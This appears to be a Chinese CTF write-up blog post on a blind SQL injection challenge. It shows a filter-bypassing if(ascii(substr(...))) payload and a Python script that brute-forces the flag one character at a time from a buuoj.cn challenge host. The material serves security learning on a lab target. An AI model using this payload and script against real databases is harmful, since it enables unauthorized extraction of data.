sql注入之简单的盲注。
为什么很多题目总是怪怪的？？？
输入1返回正常，但是1 and 1=1显示异常。fuzz大法启动
这些东西被禁用了。实际上"(and)"也被禁用了，看来fuzz字典还是少了很多。
刚好它告诉你表名与列名都是flag，省去了不少事。然后返回是bool值，所以是盲注
我开始的想法是"ascii(substr((select(flag)from(flag)),1,1))=102" 一直返回失败，不知道为什么
后边改成了如下的payload
if(ascii(substr((select(flag)from(flag)),1,1))=102,1,2)外边包一层if语句就ok了 。。。浪费了我好久的时间
然后写脚本flag就ok了
import requests
flag=''
url='http://17f2cea2-e442-4c1b-b431-f9766c507108.node5.buuoj.cn:81/index.php'
for i in range(1,50,1):
for y in range(1,128,1):
payload='if(ascii(substr((select(flag)from(flag)),'+str(i)+',1))='+str(y)+',1,2)'
datas={"id":payload}
content=requests.post(url,data=datas)
if "glzjin wants a girlfriend" in content.text:
flag=flag+chr(y)
print(flag)
break这个脚本运行时间很长，因为我不懂算法。不能跟大佬的脚本比。运行结果如下
![[<span style='color:red;'>CISCN</span><span style='color:red;'>2019</span> 总决赛 <span style='color:red;'>Day</span><span style='color:red;'>2</span> <span style='color:red;'>Web</span><span style='color:red;'>1</span>]Easyweb ----<span style='color:red;'>不</span><span style='color:red;'>会</span><span style='color:red;'>编程</span><span style='color:red;'>的</span><span style='color:red;'>崽</span>](https://img-blog.csdnimg.cn/direct/1d45a89c19b1421ebc82fc6465a086f2.png)
![buuctf——[<span style='color:red;'>CISCN</span><span style='color:red;'>2019</span> <span style='color:red;'>华北</span><span style='color:red;'>赛区</span> <span style='color:red;'>Day</span><span style='color:red;'>2</span> <span style='color:red;'>Web</span><span style='color:red;'>1</span>]Hack World](https://img-blog.csdnimg.cn/direct/ff2a131889684f809a7e13f3908531b9.png)
![[SWPU<span style='color:red;'>2019</span>]<span style='color:red;'>Web</span>3 ----<span style='color:red;'>不</span><span style='color:red;'>会</span><span style='color:red;'>编程</span><span style='color:red;'>的</span><span style='color:red;'>崽</span>](https://img-blog.csdnimg.cn/direct/80c3fd0618d84de189b28ee9d8e9ef8f.png)
![[NCTF<span style='color:red;'>2019</span>]SQLi ---<span style='color:red;'>不</span><span style='color:red;'>会</span><span style='color:red;'>编程</span><span style='color:red;'>的</span><span style='color:red;'>崽</span>](https://img-blog.csdnimg.cn/direct/c3e5110139c4440ebc0bc59c88c698f8.png)
![[RootersCTF<span style='color:red;'>2019</span>]I_＜3_Flask -<span style='color:red;'>不</span><span style='color:red;'>会</span><span style='color:red;'>编程</span><span style='color:red;'>的</span><span style='color:red;'>崽</span>](https://img-blog.csdnimg.cn/direct/a2aa0dc41d8840fab56e9e224434009e.png)
![[De<span style='color:red;'>1</span>CTF <span style='color:red;'>2019</span>]SSRF Me ---<span style='color:red;'>不</span><span style='color:red;'>会</span><span style='color:red;'>编程</span><span style='color:red;'>的</span><span style='color:red;'>崽</span>](https://img-blog.csdnimg.cn/direct/57fbd1cbf45f414c88f5181abee682f3.png)
![[<span style='color:red;'>CISCN</span><span style='color:red;'>2019</span> 华东北<span style='color:red;'>赛区</span>]<span style='color:red;'>Web</span><span style='color:red;'>2</span>](https://img-blog.csdnimg.cn/img_convert/4322263eec7965e3804d8ee3d696e5de.png)
![[羊城杯 2020]Easyphp<span style='color:red;'>2</span> ---<span style='color:red;'>不</span><span style='color:red;'>会</span><span style='color:red;'>编程</span><span style='color:red;'>的</span><span style='color:red;'>崽</span>](https://img-blog.csdnimg.cn/direct/d775443dba9c44079291421d883f4fca.png)
![[GYCTF2020]Ezsqli ---<span style='color:red;'>不</span><span style='color:red;'>会</span><span style='color:red;'>编程</span><span style='color:red;'>的</span><span style='color:red;'>崽</span>](https://img-blog.csdnimg.cn/direct/f25c85b6340e4f94b931b8bf2213c7c7.png)
